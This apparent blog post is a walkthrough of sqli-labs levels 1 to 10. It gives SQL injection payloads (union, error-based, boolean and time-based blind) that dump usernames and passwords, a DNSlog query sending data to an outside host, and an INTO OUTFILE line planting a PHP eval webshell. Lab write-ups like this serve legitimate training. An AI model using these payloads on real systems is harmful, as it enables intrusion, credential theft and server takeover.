sqli_labs 1-10关

SQL注入

靶场:

sqli-labs:

less1:

判断类型:

?id=1' and 1=1 --+ 正常

?id=1' and 1=2 --+ 错误

说明是字符型 且闭合方式为'

判断返回列数:

?id=1' order by 3--+

返回列数为3

注入位置:

?id=-1' union select 1,2,3 --+

显示2,3 说明注入点在2 3

注入

?id=-1' union select 1,database(),3 --+

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=-1' union select 1,'users',group_concat(column_name) from information_schema.columns where table_name='users' --+

?id=-1' union select 1,'users',group_concat(0x7e,username,':',password) from users --+

less2:

?id=2-1 返回结果为1 说明是数字型

d=1 order by 3--+

返回列数为3

?id=-1 union select 1,2,3 --+

显示2,3 说明注入点在2 3

注入:

?id=-1 union select 1,'users',group_concat(0x7e,username,':',password) from users --+

less3:

?id=1') and 1=1 --+

?id=1') and 1=2 --+

闭合方式为')

注入:

?id=-1') union select 1,'users',group_concat(0x7e,username,':',password) from users --+

less4:

闭合方式为 ")

注入:

?id=-1") union select 1,'users',group_concat(0x7e,username,':',password) from users --+

less5:

闭合方式为'

?id=1' order by 3 --+

发现是无回显

/?id=1' order by 4 --+

但是会报错

报错注入:

?id=1' and 1=updatexml(1,substr((select group_concat(0x7e,username,':',password) from users),1,30),3) --+

只显示32位 所以第一次截取前三十位

?id=1' and 1=updatexml(1,substr((select group_concat(0x7e,username,':',password) from users),31,30),3) --+

第二次截取31-60

?id=1' and 1=updatexml(1,substr((select group_concat(0x7e,username,':',password) from users),61,30),3) --+

第三次61-90

....

less6:

闭合方式为 "

?id=1" union select 1,count(*),concat_ws(0x7e,(select database()),floor(rand(0)*2)) as z from information_schema.tables group by z--+

找到数据库名为 security

?id=1" union select 1,count(*),concat_ws(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),floor(rand(0)*2)) as z from information_schema.tables group by z--+

逐个查找 发现第四个表是含有敏感数据的 users

?id=1" union select 1,count(*),concat_ws(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2)) as z from information_schema.tables group by z--+

逐个查找发现users表中 第二个字段是 username

?id=1" union select 1,count(*),concat_ws(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2)) as z from information_schema.tables group by z--+

第三个字段是 password

?id=1" union select 1,count(*),concat_ws(0x7e,(select concat(username,'~',password) from security.users limit 0,1),floor(rand(0)*2)) as z from information_schema.tables group by z--+

逐个查询 从第一个用户开始

?id=1" union select 1,count(*),concat_ws(0x7e,(select concat(username,'~',password) from security.users limit 12,1),floor(rand(0)*2)) as z from information_schema.tables group by z--+

到第十三个用户结束 因为从第十四个开始就没有内容了 说明最多十三个

less7:

?id=1

让使用outfile

很阴险啊 测试了半天发现闭合方式是'))

DNSlog外带:

?id=1')) and (select load_file(concat('\\\\',(select database()),'.wsh91f.dnslog.cn\\dow'))) --+

但是DNSlog外带查询内容有限

所以也可以尝试使用into_outfile

?id=-1')) union select 1,2,0x3c3f706870206576616c28245f524551554553545b315d293b203f3e into outfile 'E:\\Tools\\PhpStudy\\phpstudy_pro\\WWW\\1.php'--+

注意点

1: 原内容<?php eval($_REQUEST[密码]) ?>转码后为 3c3f706870206576616c25xxxxxxxxxxxxxxxxx 前面要加0x

2: 路径内\ 要换成\\ 防止被转义

上传成功

webshell 打开蚁剑 添加数据 地址就是这个1.php的地址 密码就是刚才一句话木马写进去的内容

拿下

less8:

闭合方式为'

?id=1' order by 999 --+

什么错误都不显示

但是正确的会显示

所以用布尔盲注

注入:

?id=1' and length(database())=1 --+

使用brupsuite抓包 破解

发现数据库长度为8

?id=1' and ascii(substr(database(),1,1))=48--+

数据库名: security

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 --+

表有四个

各表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema = 'security' limit 3,1))=1 --+

第四个长度为5

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 3,1),1,1))=48--+

第四个表名为users

?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=§1§ --+

有三个字段

字段长度:

?id=1' and length((select column_name from information_schema.columns where table_name = 'users' limit §0§,1))=§1§ --+

各字段名:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit §0§,1)))=§48§--+

less9:

?id=1' and if(1=1,sleep(5),1) --+

?id=1' and if(1=2,sleep(5),1) --+
反应时间不同 说明是'闭合

其余步骤 与布尔盲注一模一样

语句是?id=1' and if(布尔盲注,sleep(5),1) --+

类似:?id=1' and if(ascii(substr(database(),1,1))=48,sleep(5),1) --+

less10:

"闭合

其余步骤与less8一模一样

语句是 ?id=1" and if(布尔盲注,sleep(5),1) --+

以上就是本次sqli-labs 1-10关的全部内容,希望对您有一点点的帮助。

后续对于sqli-lbas不会更新了,因为没什么难度,准备将burpsuite官方靶场portswigger中的sqli部分全部更新(已通关)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值